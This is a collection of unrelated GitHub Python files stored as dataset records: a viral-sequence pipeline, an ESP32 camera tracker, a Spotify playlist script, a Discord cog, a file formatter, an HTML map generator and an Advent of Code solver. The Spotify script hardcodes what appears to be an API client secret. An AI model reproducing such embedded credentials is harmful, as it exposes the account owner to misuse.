[sample_name])\r\n\t\tcreate_dirs(f\"{fasta_output_dir}/\", [sample_name])\r\n\r\n\t\tfor sequence in os.listdir(f\"{input_dir}/{sample}\"):\r\n\t\t\tsequence_name = sequence.split(\".fasta\")[0]\r\n\t\t\tinput_file = f\"{input_dir}/{sample}/{sequence}\"\r\n\t\t\tmummer_output_file = f\"{mummer_output_dir}/{sample}/{sequence_name}.txt\"\r\n\t\t\tfasta_output_file = f\"{fasta_output_dir}/{sample}/{sequence_name}.fasta\"\r\n\r\n\t\t\tsubprocess.call(f\"mummer -maxmatch -F -L {input_file} {input_file} > {mummer_output_file} 2> log.txt\", shell = True)\r\n\r\n\t\t\tfinal_mummer_dict = {}\r\n\t\t\tmummer_dict = {}\r\n\t\t\tsequential_ID = 1\r\n\t\t\tprint(sample_name)\r\n\t\t\twith open(mummer_output_file) as mummer_out:\r\n\t\t\t\tfor line in mummer_out:\r\n\t\t\t\t\tif line.startswith(\">\"):\r\n\t\t\t\t\t\tcontig_id = line.split()[1]\r\n\t\t\t\t\t\tmummer_dict.setdefault(contig_id, {})\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tcontig_id = line.split()[0]\r\n\t\t\t\t\t\tref_pos = int(line.split()[1])\r\n\t\t\t\t\t\talt_pos = int(line.split()[2])\r\n\r\n\t\t\t\t\t\tif contig_id in mummer_dict:\r\n\t\t\t\t\t\t\tif ref_pos < alt_pos:\r\n\t\t\t\t\t\t\t\tmummer_dict[contig_id].setdefault(sequential_ID, [])\r\n\t\t\t\t\t\t\t\tmummer_dict[contig_id][sequential_ID].append(ref_pos)\r\n\t\t\t\t\t\t\t\tmummer_dict[contig_id][sequential_ID].append(alt_pos)\r\n\t\t\t\t\t\t\t\tsequential_ID += 1\r\n\r\n\t\t\t\tseq = [0, 0]\r\n\t\t\t\tfor key in mummer_dict:\r\n\t\t\t\t\tfor sub_key in mummer_dict[key]:\r\n\t\t\t\t\t\tif mummer_dict[key][sub_key][1] - mummer_dict[key][sub_key][0] > (seq[1] - seq[0]):\r\n\t\t\t\t\t\t\tseq = mummer_dict[key][sub_key]\r\n\t\t\t\t\tfinal_mummer_dict.setdefault(key, seq)\r\n\r\n\t\t\t\t# print(mummer_dict)\r\n\t\t\t\t# print(f\"FINAL \t{seq}\")\r\n\t\t\t\tprint(final_mummer_dict)\r\n\r\n\t\t\t\tfor record in SeqIO.parse(input_file, \"fasta\"):\r\n\t\t\t\t\twith open(fasta_output_file, \"w\") as fasta_out:\r\n\t\t\t\t\t\tif int(seq[0]) == 0:\r\n\t\t\t\t\t\t\tfasta_out.write(f\">{record.description}\\n\")\r\n\t\t\t\t\t\t\tfasta_out.write(f\"{str(record.seq)}\\n\")\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\tfasta_out.write(f\">{record.description}\\n\")\r\n\t\t\t\t\t\t\tfasta_out.write(f\"{str(record.seq)[seq[0]:seq[1]]}\\n\")\r\n\r\n\r\n\r\n\r\n\r\n################################################################################\r\ndef document_env(script_name, script_version, output_dir, input_params):\r\n\t# Report the arguments used to run the program\r\n\t# Report the environemnt the program was run in\r\n\r\n\tprint(f\"Printing {script_name} pipeline version information\")\r\n\twith open(f\"{output_dir}/{script_name}_Pipeline_params.txt\", \"w\") as log_output:\r\n\t\tlog_output.write(f\"{script_name} Pipeline Version: {script_version}\\n\")\r\n\t\tlog_output.write(f\"Datetime: {datetime.datetime.now()}\\n\")\r\n\t\tlog_output.write(f\"Parameters:\\n\")\r\n\t\tfor arg in vars(input_params):\r\n\t\t\tlog_output.write(f\"{arg} {getattr(input_params, arg)}\\n\")\r\n\tsubprocess.call(f\"conda list > {output_dir}/{script_name}_env.txt\", shell = True)\r\n\r\n################################################################################\r\ndef parse_arguments():\r\n\tparser = argparse.ArgumentParser(prog = \"RCA\", description = \"Runs the RCA pipeline.\")\r\n\tsubparsers = parser.add_subparsers(help = \"sub-command help\")\r\n\tnanopore = subparsers.add_parser(\"nanopore\", help = \"Runs the RCA nanopore pipeline.\")\r\n\tillumina = subparsers.add_parser(\"illumina\", help = \"Runs the RCA illumina pipeline.\")\r\n\r\n\t################################################################################\r\n\t### Nanopore Pipeline\r\n\r\n\t# Key arguments\r\n\tnanopore.add_argument(\"--input\", help = \"This is the location of the raw data directory.\", required = True)\r\n\tnanopore.add_argument(\"--output\", help = \"This is where the output data will be generated.\", required = True)\r\n\tnanopore.add_argument(\"--ictv_db\", help = \"This is the path to the ictv database fasta file.\", default = \"/data/bigbio_00/smcgreig/Blast_databases/ICTV/ICTV_viruses.fasta\")\r\n\tnanopore.add_argument(\"--ashure_path\", help = \"This is the path to the ashure script.\", default = \"/home/smcgreig/Scripts/RCA/ashure/src/ashure.py\")\r\n\r\n\t# Extra arguments, useful for if a specific job has failed and you don't want to start from scratch\r\n\tnanopore.add_argument(\"--create_dirs\", help = \"Creates the directory structure. Default Y.\", choices = [\"Y\", \"N\"], default = \"Y\")\r\n\tnanopore.add_argument(\"--ashure\", help = \"Runs Ashure. Default Y.\", choices = [\"Y\", \"N\"], default = \"Y\")\r\n\tnanopore.add_argument(\"--isonclust\", help = \"Runs isONclust. Default Y.\", choices = [\"Y\", \"N\"], default = \"Y\")\r\n\tnanopore.add_argument(\"--medaka\", help = \"Runs medaka. Default Y.\", choices = [\"Y\", \"N\"], default = \"Y\")\r\n\tnanopore.add_argument(\"--doc_env\", help = \"Creates environment and parameter details. Default Y.\", choices = [\"Y\", \"N\"], default = \"Y\")\r\n\r\n\t# Tool specific parameters\r\n\r\n\t# isONclust\r\n\tnanopore.add_argument(\"--threads\", help = \"The number of threads to run isONclust and Medaka with. Default 120.\", default = 120)\r\n\tnanopore.add_argument(\"--quality_score\", help = \"The quality score cutoff for isONclust. Default 7.\", default = 7)\r\n\r\n\t################################################################################\r\n\t### Illumina Pipeline\r\n\r\n\t# Key arguments\r\n\tillumina.add_argument(\"--input\", help = \"This is the location of the raw data directory.\", required = True)\r\n\tillumina.add_argument(\"--output\", help = \"This is where the output data will be generated.\", required = True)\r\n\r\n\tillumina.add_argument(\"--create_dirs\", help = \"Creates the directory structure. Default Y.\", choices = [\"Y\", \"N\"], default = \"Y\")\r\n\tillumina.add_argument(\"--bbduk\", help = \"Runs Bbduk. Default Y.\", choices = [\"Y\", \"N\"], default = \"Y\")\r\n\tillumina.add_argument(\"--spades\", help = \"Runs isONclust. Default Y.\", choices = [\"Y\", \"N\"], default = \"Y\")\r\n\tillumina.add_argument(\"--virus_detection\", help = \"Extract potential viruses. Default Y.\", choices = [\"Y\", \"N\"], default = \"Y\")\r\n\tillumina.add_argument(\"--doc_env\", help = \"Creates environment and parameter details. Default Y.\", choices = [\"Y\", \"N\"], default = \"Y\")\r\n\r\n\t# Tool specific parameters\r\n\r\n\t# Bbduk\r\n\tillumina.add_argument(\"--adapters\", help = \"bbduk adapter references.\", default = \"/home/smcgreig/Scripts/AnguaWGS/adapters.fa\")\r\n\tillumina.add_argument(\"--min_len\", help = \"This is the mininum length of a read allowed by bbduk. Default 50.\", default = 50)\r\n\tillumina.add_argument(\"--min_quality\", help = \"bbduk phred quality trim parameter. Default 10.\", default = 10)\r\n\r\n\t# Spades\r\n\tillumina.add_argument(\"--threads\", help = \"The number of threads to run Spades with. Default 60.\", default = 60)\r\n\tillumina.add_argument(\"--memory\", help = \"The amount of memory, in GB, to run Spades with. Default 500.\", default = 500)\r\n\r\n\t# Virus detection\r\n\tillumina.add_argument(\"--hmm\", help = \"This is the path to the hmm file.\", default = \"/home/smcgreig/miniconda2/envs/RCA/Databases/nbc_hmms.hmm\")\r\n\r\n\r\n\treturn parser.parse_args()\r\n\r\n################################################################################\r\n\r\nif __name__ == '__main__':\r\n\tmain()\r\n","repo_name":"SamMcGreig/RCA","sub_path":"rca.py","file_name":"rca.py","file_ext":"py","file_size_in_byte":16255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14281779133","text":"import time\n\nimport cv2\nimport sys\nimport numpy as np\nimport socket\n\n(major_ver, minor_ver, subminor_ver) = (cv2.__version__).split('.')\n\n\ndef object_following(testing = False, sensitivity = 0.2, process_every = 5, movement_interval = 1, tracker_num = 0):\n\n    # Set up tracker.\n    # Instead of MIL, you can also use\n\n    tracker_types = ['BOOSTING', 'MIL', 'KCF', 'TLD', 'MEDIANFLOW', 'GOTURN', 'MOSSE', 'CSRT', 'MEAN_SHIFT']\n    tracker_type = tracker_types[1]\n\n    if int(minor_ver) < 3:\n        tracker = cv2.Tracker_create(tracker_num)\n    else:\n        if tracker_type == 'BOOSTING':\n            tracker = cv2.TrackerBoosting_create()\n        if tracker_type == 'MIL':\n            tracker = cv2.TrackerMIL_create()\n        if tracker_type == 'KCF':\n            tracker = cv2.TrackerKCF_create()\n        if tracker_type == 'TLD':\n            tracker = cv2.TrackerTLD_create()\n        if tracker_type == 'MEDIANFLOW':\n            tracker = cv2.TrackerMedianFlow_create()\n        if tracker_type == 'GOTURN':\n            tracker = cv2.TrackerGOTURN_create()\n        if tracker_type == 'MOSSE':\n            tracker = cv2.TrackerMOSSE_create()\n        if tracker_type == \"CSRT\":\n            tracker = cv2.TrackerCSRT_create()\n\n\n\n    host = \"192.168.1.159\"  # ESP32 IP in local network\n    port = 80  # ESP32 Server Port\n    stream_port = 81\n\n    sock = socket.socket()\n    sock.connect((host, port))\n    print(\"Connecting to \" + host+ \":\" + str(port) + \" - OK\")\n\n    # Video Stream:\n    video_source = \"Ip Esp32 Stream\" #\"Ip Esp32 Stream\"  # Webcam\n\n    # From CAMERA\n    if (video_source == \"Webcam\"):\n        cap = cv2.VideoCapture(0)\n        ok, frame = cap.read()\n\n    if (video_source == \"Ip Esp32 Stream\"):\n        cap = cv2.VideoCapture('http://' + host + ':' + str(stream_port) + '/stream')\n        ok, frame = cap.read()\n        print(\"Reading video stream from \" + 'http://' + host + ':' + str(stream_port) + '/stream' + \" - OK\")\n    frame_h, frame_w, c = frame.shape\n\n\n    timestep = 0\n    last_movement = time.time()\n\n    # Define an initial bounding box\n    bbox = (287, 23, 86, 320)\n\n    # Uncomment the line below to select a different bounding box\n    bbox = cv2.selectROI(frame, False)\n\n    if(tracker_type != \"MEAN_SHIFT\"):\n        # Initialize tracker with first frame and bounding box\n        ok = tracker.init(frame, bbox)\n\n    if tracker_type == \"MEAN_SHIFT\":\n        # apply mask\n        hsv_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n        mask = cv2.inRange(hsv_frame, np.array((0, 20, 20)), np.array((180, 250, 250)))\n        hist_frame = cv2.calcHist([hsv_frame], [0], mask, [180], [0, 180])\n        cv2.normalize(hist_frame, hist_frame, 0, 255, cv2.NORM_MINMAX)\n\n        # Setup the termination criteria: 10 iteration 1 pxl movement\n        term_crit = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 1)\n\n    while True:\n        # Read a new frame\n        #ok, frame = cap.read()\n\n        ok, frame = cap.read()\n        if not ok:\n            break\n        #cap.release()\n\n        '''try:\n            received = sock.recv(1024).decode(\"utf-8\")  # /512\n\n            if (len(received) < 6):\n                distance = received.strip('\\r\\n')  # line, buffer = received.split('\\n', 1)\n\n                if (distance != ''):\n        '''\n\n        if(timestep%process_every==0 or timestep==0):\n\n            # Start timer\n            timer = cv2.getTickCount()\n\n            if tracker_type == \"MEAN_SHIFT\":\n                hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n                dst = cv2.calcBackProject([hsv], [0], hist_frame, [0, 180], 1)\n\n                # apply camshift to get the new location\n                ret, bbox = cv2.CamShift(dst, bbox, term_crit)\n\n                # Draw a box around the ROI\n                pts = cv2.boxPoints(ret)\n                pts = np.int0(pts)\n                cv2.polylines(frame, [pts], True, 255, 2)\n\n            # Use the q button to quit the operation\n            if cv2.waitKey(60) & 0xff == ord('q'):\n                break\n            else:\n                if (tracker_type != \"MEAN_SHIFT\"):\n                    # Update tracker\n                    ok, bbox = tracker.update(frame)\n\n                # Calculate Frames per second (FPS)\n                fps = cv2.getTickFrequency() / (cv2.getTickCount() - timer)\n                if (tracker_type != \"MEAN_SHIFT\"):\n                    # Draw bounding box\n                    if ok:\n                        # Tracking success\n                        p1 = (int(bbox[0]), int(bbox[1]))\n                        p2 = (int(bbox[0] + bbox[2]), int(bbox[1] + bbox[3]))\n                        #cv2.rectangle(frame, p1, p2, (255, 0, 0), 2, 1)\n                        x,y,w,h = bbox\n\n\n                        if((time.time()-last_movement)>movement_interval):\n                            if(x<frame_w*sensitivity):\n                                sock.send(b\"H:2\")\n                                last_movement = time.time()\n                            if(x+w>frame_w*(1-sensitivity)):\n                                sock.send(b\"H:3\")\n                                last_movement = time.time()\n\n                        #if(x<frame_w*0.2):      cv2.putText(frame, \"Left\", (100, 230), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2) #sock.send(b\"S:2\")\n                        #if(x+w>frame_w*0.8):    cv2.putText(frame, \"Right\", (100, 230), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2) #sock.send(b\"S:3\")\n\n                    else:\n                        # Tracking failure\n                        cv2.putText(frame, \"Tracking failure detected\", (100, 80), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (0, 0, 255), 2)\n\n        # Show object rectangle\n        cv2.rectangle(frame, p1, p2, (255, 0, 0), 2, 1)\n        if (x < frame_w * sensitivity):\n            cv2.putText(frame, \"Left\", (100, 200), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (0, 0, 255), 2)\n        if(x+w>frame_w*(1-sensitivity)):\n            cv2.putText(frame, \"Right\", (100, 200), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (0, 0, 255), 2)\n\n        if(testing):\n            # Display tracker type on frame\n            cv2.putText(frame, tracker_type + \" Tracker\", (100, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n            # Display FPS on frame\n            cv2.putText(frame, \"FPS : \" + str(int(fps)), (100, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n\n            # Display bbox on frame\n            cv2.putText(frame, \"x: \" + str(bbox[0]), (100, 80), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n            cv2.putText(frame, \"y: \" + str(bbox[1]), (100, 110), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n            cv2.putText(frame, \"box width: \" + str(bbox[2]), (100, 140), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n            cv2.putText(frame, \"box height: \" + str(bbox[3]), (100, 170), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n\n            # Display frame size\n            cv2.putText(frame, \"frame width: \" + str(w), (100, 200), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n            cv2.putText(frame, \"frame height: \" + str(h), (100, 230), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n\n        # Display result\n        cv2.imshow(\"Object following\", frame)\n\n        # Exit if ESC pressed\n        k = cv2.waitKey(1) & 0xff\n        if k == 27: break\n\n        timestep += 1\n\n        #except socket.error:\n        #    pass\n","repo_name":"IvanAnikin/AutopilotCar","sub_path":"CV_Control/object_following.py","file_name":"object_following.py","file_ext":"py","file_size_in_byte":7362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38839160283","text":"from bs4 import BeautifulSoup\nimport spotipy\nimport requests\nfrom spotipy.oauth2 import SpotifyOAuth\nOAUTH_AUTHORIZE_URL = \"https://accounts.spotify.com/authorize\"\nOAUTH_TOKEN_URL = \"https://accounts.spotify.com/api/token\"\nSPOTIPY_CLIENT_ID = \"6c288e0cfaee469e945fd32c69b82209\"\nSPOTIPY_CLIENT_SECRET = \"9aff4dc4cb7d4943b4d027195c96fc07\"\nSPOTIPY_REDIRECT_URI = \"http://example.com/callback\"\nSPOTIPY_SCOPE = \"playlist-modify-private\"\n\n# scrap judul lagu\n\n# time = input(\"Masukkan tahun dalam format YYYY-MM-DD : \")\n# print(\"\")\n# print(\"Loading...\")\n# link = f\"https://www.billboard.com/charts/hot-100/{time}\"\n# response = requests.get(link)\n# spo_web_page = response.text\n\n# web = BeautifulSoup(spo_web_page, \"html.parser\")\n\n# list_lagu = []\n# judul_lagu = web.select(\"ul li li .c-title\")\n# for judul in judul_lagu:\n#     list_lagu.append(judul.text.strip())\n\n\n\n# autentifikasi\n\nspotify_auth = spotipy.oauth2.SpotifyOAuth(client_id=SPOTIPY_CLIENT_ID,\nclient_secret=SPOTIPY_CLIENT_SECRET,\nredirect_uri=SPOTIPY_REDIRECT_URI,\nscope=\"playlist-modify-private\",\nshow_dialog=True,\ncache_path=\"token.txt\"\n)\nspotify_auth.get_access_token(as_dict=False)\ns = spotipy.Spotify(oauth_manager=spotify_auth)\nuser_id = s.current_user()[\"id\"]\nprint (user_id)","repo_name":"AlfariziDwiPrasetyo/billboardPlaylist","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7266086903","text":"import usb.core\nimport usb.util\nimport time\n\n# find our device by VID and PID pair\ndev = usb.core.find(idVendor=0xcafe, idProduct=0x4014)\n\n# was it found?\nif dev is None:\n    raise ValueError('Device not found')\n\n#selecting the first configuration\ncfg = dev[0]\n\n#selecting the second interface\nintf=cfg[(1,0)]\n\n#selecting the IN and OUT endpoints\nep_in = intf[1]\nep_out = intf[0]\n\n#Sending commands to the devcice \nwhile True:\n    ep_out.write(\"LED_ON\", 64)\n    time.sleep(1)\n    ep_out.write(\"LED_OFF\", 64)\n    time.sleep(1)\n","repo_name":"shekhuverma/Pyusb-RP-PICO","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3107061766","text":"import discord\nimport logging\nimport random\nfrom discord.ext import commands\n\nfrom bot import yolamtanbot\n\n\nclass ColorRoles(commands.Cog):\n\n    def __init__(self, bot: yolamtanbot.YolamtanBot):\n        self.bot = bot\n\n\n    #Command to set a user's color\n    @commands.command(\n        brief=\"Sets a user's color\",\n        help=\"\"\"Sets a user's color through the use of user ID based roles.\n    Using the optional hex_code argument, one can pass in a valid 6-digit hexadecimal color to use.\n    Alternatively, they may leave that field blank for a random color\"\"\",\n        usage='<hex_code>'\n    )\n    async def color(self, ctx: commands.Context, *args):\n        if len(args) == 0:\n            red_val = random.randint(0, 0xFF)\n            gre_val = random.randint(0, 0xFF)\n            blu_val = random.randint(0, 0xFF)\n            role_color = discord.Color.from_rgb(red_val, gre_val, blu_val)\n            hexcode = \"{0}\".format(hex(role_color.value)[2:])\n        else:\n            hexcode = args[0]\n            role_color = 0\n            if len(hexcode) != 6:\n                await ctx.send('Hexcode \\'{0}\\' is not a valid hexadecimal code'.format(hexcode))\n                self.bot.bot_logger.info('User %s provided invalid hexcode \\'%s\\'', str(ctx.author), hexcode)\n                return\n            try:\n                role_color = discord.Color(int(hexcode, 16))\n            except ValueError:\n                await ctx.send('Hexcode \\'{0}\\' is not a valid hexadecimal code'.format(hexcode))\n                self.bot.bot_logger.info('User %s provided invalid hexcode \\'%s\\'', str(ctx.author), hexcode)\n                return\n\n        user_id = ctx.author.id\n        user_role = discord.utils.find(lambda r: r.name == str(user_id), ctx.guild.roles)\n\n        if user_role is not None:\n            await user_role.edit(color=role_color)\n            if user_role not in ctx.author.roles:\n                await ctx.author.add_roles(user_role, reason='Adding missing color role')\n                self.bot.bot_logger.debug('Gave color role to user %s', ctx.author)\n        else:\n            user_role = await ctx.guild.create_role(name=str(user_id), color=role_color)\n            await ctx.author.add_roles(user_role, reason='Color change')\n            self.bot.bot_logger.debug('Gave color role to user %s', ctx.author)\n        await ctx.send('Color for {0.mention} set to {1}'.format(ctx.author, hexcode))\n        self.bot.bot_logger.debug('Color for %s set to %s', str(ctx.author), hexcode)","repo_name":"posneg/yolamtan_bot","sub_path":"bot/role_commands/color_roles.py","file_name":"color_roles.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"42229582646","text":"\ndef add_zero_to_account():\n    \"\"\"This function reads the deprecated account no file, calls a function that appends the truncated  \n    zeros and then write the result in another file.\"\"\"\n    basic = []\n    accountCorrectedList = []\n    text = open('files/truncated_account.txt', \"r\")\n    basic = text.readlines()\n    length = len(basic)\n    for i in range(length):\n        temp = str(basic[i])   \n        accountCorrectedList.append(add_lending_zeros(temp, 11))\n              \n    account_formatted = open(\"account_corrected.txt\", \"w\")\n    for i in range(length):\n        account_formatted.write(accountCorrectedList[i])\n\ndef add_zero_to_customer_id():\n    \"\"\"This function reads the deprecated customer_id no file, calls a function that appends the truncated  \n    zeros and then write the result in another file.\"\"\"\n    basic = []\n    customerIdCorrectedList = []\n    text = open('files/truncated_account.txt', \"r\")\n    basic = text.readlines()\n    length = len(basic)\n    for i in range(length):\n        temp = str(basic[i])   \n        customerIdCorrectedList.append(add_lending_zeros(temp, 11))\n              \n    account_formatted = open(\"account_corrected.txt\", \"w\")\n    for i in range(length):\n        account_formatted.write(customerIdCorrectedList[i])\n\ndef add_lending_zeros(truncated, length):\n    \"\"\" This function adds lending zero to a string of numbers with.\n    the number as parameter and the length of the result number \"\"\"\n    diff = length - len(truncated)\n    appended = truncated\n    while diff>0:\n        appended= \"0\"+ appended\n        diff = diff - 1\n    return appended\n\n\ndef format_file(path, actual_length, filename):\n    \"\"\"This function takes in the path of the file path reads, which contains the \n    deprecated numbers, as parameter. It also takes in the actual_length of each numbers in file as parameter.\n    It calls a function that appends the truncated zeros and then write the result in filename.\"\"\"\n    basic = []\n    customerIdCorrectedList = []\n    text = open(path, \"r\")\n    basic = text.readlines()\n    length = len(basic)\n    for i in range(length):\n        temp = str(basic[i])   \n        customerIdCorrectedList.append(add_lending_zeros(temp, actual_length+1))            \n    account_formatted = open(filename, \"w\")\n    for i in range(length):\n        account_formatted.write(customerIdCorrectedList[i])\n\n\n#format_file(\"files/truncated_ind_account.txt\", 10, \"ind_account_corrected.txt\")\n# format_file(\"files/truncated_ind_customerId.txt\", 9, \"ind_customerId_corrected.txt\")\n# format_file(\"files/truncated_corp_account.txt\", 10, \"corp_account_corrected.txt\")\n# format_file(\"files/truncated_corp_customerId.txt\", 9, \"corp_customerId_corrected.txt\")\n\nformat_file(\"files/GTB_dud_cheque_truncated_ind_customer_id_08_21.txt\", 10, \"GTB_dud_cheque_corrected_ind_customer_id_08_21.txt\")\nformat_file(\"files/GTB_dud_cheque_truncated_corp_customer_id_08_21.txt\", 10, \"GTB_dud_cheque_corrected_corp_customer_id_08_21.txt\")\n    \n#print(add_lending_zeros(\"13456\", 10))","repo_name":"adekunlegenius/Data-Science-Projects","sub_path":"Read_number_from_text_file/Append_Leading_Zero.py","file_name":"Append_Leading_Zero.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25329334752","text":"import json\n\nf = open(\"mapa.json\")\n\nmapa = json.load(f)\nfor c in mapa[\"cidades\"]:\n    c[\"ligacoes\"] = {}\n\ncidades = {c[\"id\"]:c for c in mapa[\"cidades\"]}\n\nligacoes = mapa[\"ligações\"]\n\nfor l in ligacoes:\n    origem = l[\"origem\"]\n    destino = l[\"destino\"]\n    cidades[origem][\"ligacoes\"][destino] = l\n    cidades[destino][\"ligacoes\"][origem] = l\n\ncidades = [c for (id,c) in cidades.items()]\n\ndistritos_dict = {}\n\nfor c in cidades:\n    d = c[\"distrito\"]\n    distritos_dict[d] = distritos_dict.get(d, [])\n    distritos_dict[d].append(c)\n\ndistritos = list(distritos_dict.keys())\ndistritos.sort()\n\npagHTML = \"\"\"\n<!DOCTYPE html>\n<html>\n    <head>\n        <title>Mapa Virtual</title>\n        <meta charset=\"UTF-8\">\n    </head>\n    <body style=\"all:unset;width:100vw; height:100vh;\">\n        <center><h2 style=\"margin-block:14px;\">Mapa Virtual</h2></center>\n        <ul style=\"display:flex; flex-direction: column; flex-wrap: wrap; height: 85vh; margin:0; box-sizing: border-box;\">\n\"\"\"\n\nfor d in distritos:\n    pagHTML += f\"\"\"\n            <li style=\"width:250px\">\n                <h3 style=\"margin-block:10px;\">{d}:</h3>\n                <ul>\n                \"\"\"\n    distritos_dict[d].sort(key=lambda x: x[\"nome\"])\n    for c in distritos_dict[d]:\n        pagHTML += f\"\"\"\n                    <li>\n                        <a href=\"{c[\"id\"]}\">{c[\"nome\"]}</a>\n                    </li>\n    \"\"\"\n    pagHTML +=  \"\"\"\n                </ul>\n            </li>\n    \"\"\"\npagHTML += \"\"\"\n        </ul>\n    </body>\n</html>\n\"\"\"\n\nf = open(\"pages/index.html\", \"w+\")\nf.write(pagHTML)\nf.close()\n\ndef genPageStr(c, cidades) -> str:\n    pagHTML = f\"\"\"\n<!DOCTYPE html>\n<html>\n    <head>\n        <title>{c[\"nome\"]}</title>\n        <meta charset=\"UTF-8\">\n    </head>\n    <body>\n        <center>{c[\"nome\"]}</center>\n        <p><b>população:</b> {c[\"população\"]}</p>\n        <p><b>descrição:</b> {c[\"descrição\"]}</p>\n        <p><b>distrito:</b> {c[\"distrito\"]}</p>\n        <center>\n            <hr width=\"80%\">\n        </center>\n        Ligacoes:\n        <ul style=\"display:flex; flex-direction: column; flex-wrap: wrap; height: 60vh\">\n    \"\"\"\n    for (l, link) in c[\"ligacoes\"].items():\n        pagHTML += f\"\"\"\n            <li style=\"width:250px\"> \n                <a href=\"{l}\">{cidades[l][\"nome\"]}</a> - {link[\"distância\"]}km\n            </li>\n        \"\"\"\n    pagHTML += \"\"\"\n            <li style=\"width:250px\">\n                <a href=\"/\">Voltar ao Indice</a>\n            </li>\n        </ul>\n    </body>\n</html>\n    \"\"\"\n    return pagHTML\n\nc_dict = {c[\"id\"]:c for c in mapa[\"cidades\"]}\n\nfor c in cidades:\n    pagHTML = genPageStr(c, c_dict)\n    f = open(f\"pages/{c['id']}.html\", \"w+\")\n    f.write(pagHTML)\n    f.close()","repo_name":"eivarin/EngWeb2023","sub_path":"TPC2/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25142094618","text":"# https://adventofcode.com/2021/day/24\nfrom pathlib import Path\nimport re\n\nref = 0\npart = \"_1\"\n\next = \"_ref\" + str(ref) + \".txt\" if ref else \".txt\"\npath = Path(__file__).parent.absolute()\ninputs = open(path/(\"input\" + part + ext), \"r\").read().rstrip().split(\"\\n\")\n# ---\n\n\ndef run():\n    result = 0\n\n    INP = 1\n    ADD = 2\n    MUL = 3\n    DIV = 4\n    MOD = 5\n    EQL = 6\n\n    mne_lookup = {\n        \"inp\": INP,\n        \"add\": ADD,\n        \"mul\": MUL,\n        \"div\": DIV,\n        \"mod\": MOD,\n        \"eql\": EQL,\n    }\n\n    prg = []\n    for input in inputs:\n        m = input.split(' ')\n\n        cmd = mne_lookup[m[0]]\n        assert cmd,  \"Unknown command \" + m[0]\n\n        reg = ord(m[1]) - ord('w')\n        reg1 = -1\n        val1 = -1\n        if len(m) > 2:\n            if m[2] >= 'w' and m[2] <= 'z':\n                reg1 = ord(m[2]) - ord('w')\n            else:\n                val1 = int(m[2])\n\n        prg.append((cmd, reg, reg1, val1, input))\n\n    def run_prg(in_list):\n        regs = [0, 0, 0, 0]\n        in_index = 0\n\n        for (cmd, reg, reg1, val1, input) in prg:\n            val = regs[reg1] if reg1 >= 0 else val1\n            if cmd == INP:\n                regs[reg] = in_list[in_index]\n                in_index += 1\n            elif cmd == ADD:\n                regs[reg] += val\n            elif cmd == MUL:\n                regs[reg] *= val\n            elif cmd == DIV:\n                regs[reg] //= val\n            elif cmd == MOD:\n                regs[reg] %= val\n            elif cmd == EQL:\n                regs[reg] = 1 if regs[reg] == val else 0\n            else:\n                assert False, \"Unknown command \" + cmd\n\n            print(\"# \", input, regs)\n\n        return regs\n\n    def check_model_nos():\n        li = 0\n        nums = [9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9]\n        largest = nums.copy()\n        running = True\n\n        while running:\n            li += 1\n            if li > 100000:\n                print(\"AT\", nums)\n                li = 0\n\n            # print(nums)\n            regs = run_prg(nums)\n\n            if regs[3] == 0:\n                largest = nums.copy()\n                print(\"FOUND\", largest)\n\n            # print(\"REGS\", regs)\n            # running = False\n\n            for i in range(13, -1, -1):\n                if nums[i] > 1:\n                    nums[i] -= 1\n                    break\n                nums[i] = 9\n                if i == 0:\n                    running = False\n\n    def test1():\n        nums0 = [1, 1, 1, 1, 1, 1, 2, 1, 2, 1, 2, 1, 1, 7]\n        nums0 = [9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9]\n        nums0 = [9, 5, 2, 9, 9, 8, 9, 7, 9, 9, 9, 8, 9, 7]\n        nums0 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n        nums1 = nums0.copy()\n\n        run_prg(nums1)\n\n    # check_model_nos()\n    test1()\n\n    return result\n\n\n# ---\nresult = run()\n# print(result)\n# open(path/(\"result\" + part + ext), \"w\").write(str(result).rstrip() + 